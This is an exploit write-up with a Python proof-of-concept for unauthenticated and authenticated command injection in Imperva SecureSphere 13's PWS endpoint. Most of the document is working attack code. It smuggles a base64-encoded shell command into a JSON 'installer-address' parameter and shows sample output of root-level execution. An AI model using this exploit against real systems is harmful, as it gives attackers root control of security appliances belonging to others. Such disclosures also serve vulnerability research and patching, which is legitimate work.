Imperva SecureSphere 13 – Remote Command Execution
# Title: Imperva SecureSphere 13 - Remote Command Execution # Author: rsp3ar # Date: 2018-10-08 # Vendor: https://www.imperva.com/products/securesphere/ # CVE: N/A # Version: 13.0.10, 13.1.10, 13.2.10 # Tested on: SecureSphere (Virtual Appliance) # Description # PWS is a component in SecureSphere v13, which consists of Python CGIs to expose various cli utilities over https. # The Python CGIs didn't properly sanitize user supplied command parameters, leading to command injection. # The vulnerability could be exploited in below ways (depending on configuration status of SecureSphere): # 1. Unauthenticated Remote Code Execution (Pre-FTL mode) # When SecureSphere VM is provisioned without running 'ftl' utility to configured into SOM/MX/Gateway mode, # the vulnerable endpoint could be reached without authentication: # $ python poc.py -t 192.168.146.201 'sudo id' # [*] Sending payload to https://192.168.146.201/pws/impcli... # [*] Received command execution output: # uid=0(root) gid=0(root) groups=0(root) # 2. Authenticated Remote Code Execution (Gateway mode) # When SecureSphere VM is configured as gateway mode via 'ftl' utility, the vulnerable endpoint # could be reached with valid agent registration credential for user 'imperva': # $ python poc.py -t 192.168.146.201 -p 'agent_registration_password' 'sudo id' # [*] Sending payload to https://192.168.146.201/pws/impcli... # [*] Received command execution output: # uid=0(root) gid=0(root) groups=0(root) #!/usr/bin/env python import argparse, sys, base64, json import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser() parser.add_argument("-t", metavar = "target", help = "Target hostname/IP address", type = str, required = True) parser.add_argument("-p", metavar = "password", help = "Agent registration password for 'imperva' user", type = str, required = False) parser.add_argument("cmd", help = "Command to be executed on target", type = str) args = parser.parse_args() # /pws/inception is another vulnerable endpoint target_url = "https://%s/pws/impcli" % (args.t) session = requests.Session() session.get(target_url, verify = False) split_mark = "SPLIT_MARK" payload = "$(printf %s | base64 -d | bash)" % (base64.b64encode(args.cmd)) headers = {} if args.p is not None: headers["Authorization"] = "Basic " + base64.b64encode("imperva:" + args.p) body = { "command": "impctl server status", "parameters": { "broadcast": True, "installer-address": "127.0.0.1 %s%s%s" % (split_mark, payload, split_mark) } } print("[*] Sending payload to %s..." % (target_url)) response = session.post(target_url, headers = headers, data = json.dumps(body), verify = False) if split_mark in response.text: print("[*] Received command execution output:") print(response.text.split(split_mark)[1]) elif response.status_code == requests.codes.unauthorized: print("[!] Gateway Authentication required, please provide agent registration password.") else: print("[!] Failed to execute command on target.") |